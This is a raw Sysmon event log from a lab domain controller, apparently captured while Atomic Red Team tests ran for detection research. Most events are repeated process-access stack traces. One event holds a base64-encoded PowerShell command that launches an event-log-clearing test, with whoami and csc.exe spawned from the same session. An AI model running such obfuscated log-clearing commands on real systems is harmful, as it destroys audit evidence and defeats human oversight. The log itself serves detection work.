09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004233Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004232Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004231Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004230Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004229Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004228Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004227Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004226Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004225Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-291F-5F80-DA00-000000007F01}4668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004224Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-291F-5F80-D700-000000007F01}44244112C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291F-5F80-DA00-000000007F01}4668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c242b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c18d9|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+1640(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+1640(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0e83cc(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c41a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c3e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb754db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd084a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0e2edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c63d1(wow64) 154100x80000000000000004223Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.869{A5F018FF-291F-5F80-DA00-000000007F01}4668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\02admnpx\02admnpx.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA== 11241100x80000000000000004222Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\02admnpx\02admnpx.cmdline2020-10-09 09:10:55.860 11241100x80000000000000004221Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:55.860{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\02admnpx\02admnpx.dll2020-10-09 09:10:55.860 10341000x80000000000000004220Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.703{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291F-5F80-D900-000000007F01}4532C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004219Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.703{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004218Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.703{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004217Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004216Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004215Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004214Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004213Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004212Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004211Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.688{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 